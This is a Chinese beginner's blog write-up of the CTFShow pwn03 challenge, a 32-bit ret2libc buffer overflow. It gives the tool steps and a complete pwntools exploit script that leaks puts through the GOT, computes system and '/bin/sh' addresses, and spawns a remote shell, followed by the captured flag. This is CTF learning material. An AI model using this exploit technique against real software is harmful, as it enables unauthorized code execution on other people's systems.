すのはら荘春原庄的雪

CTFSHOW pwn03 WrriteUp

Toretto·2024-09-25 17:23·174 次阅读

CTFSHOW pwn03 WrriteUp

本文来自一个初学CTF的小白,如有任何问题请大佬们指教!

题目来源#

CTFShow pwn - pwn03 (ret2libc)
https://ctf.show/challenges

思路#

1.下载题目放到checksec先查一下
image

2.IDA打开题目
image

Shift + F12查看字符串发现没有system和/bin/sh,但是有libc文件。

3.用gdb的cyclic查询一下溢出所需要的大小
cyclic用法:
1.先用cyclic 40生成一段字符串:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa
2.gdb运行程序,输入字符串
3.cyclic -l 【错误地址】获得溢出所需数据量为13

4.写exp

点击查看代码
Copy
from pwn import * from LibcSearcher import * io = remote('pwn.challenge.ctf.show',28270) elf = ELF('stack1') context.log_level = 'debug' puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] start_addr = 0x080483C0 payload1 = b'A'*13 + p32(puts_plt) + p32(start_addr) + p32(puts_got) io.sendlineafter(b'32bits\n',payload1) io.recv() leak_addr = u32(io.recv(4)) print(hex(leak_addr)) libc_base_addr = leak_addr - 0x67360 system_addr = 0x3cd10 + libc_base_addr bin_sh_addr = libc_base_addr + 0x17b8cf payload2 = b'B'*13 + p32(system_addr) + p32(1234) + p32(bin_sh_addr) io.sendlineafter(b'32bits\n',payload2) io.interactive()

5.得到flag
ctfshow{fad8c27d-13de-4e58-b0bc-8ad69859693e}

本题注意#

1.题目第一次输出有一个换行符,需要p.recv()接收掉这个换行符,第二次recv到的前四个字节就是泄露出来的puts函数地址
2.本地运行时程序的libc使用的是本地/lib/i386-linux-gnu/libc.so.6这个位置的,而远程的libc是老版本的ubuntu的,所以你在打本地写的脚本与打远程的脚本两者偏移是不一样的

posted @   vstral  阅读(174)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
点击右上角即可分享
微信分享提示
目录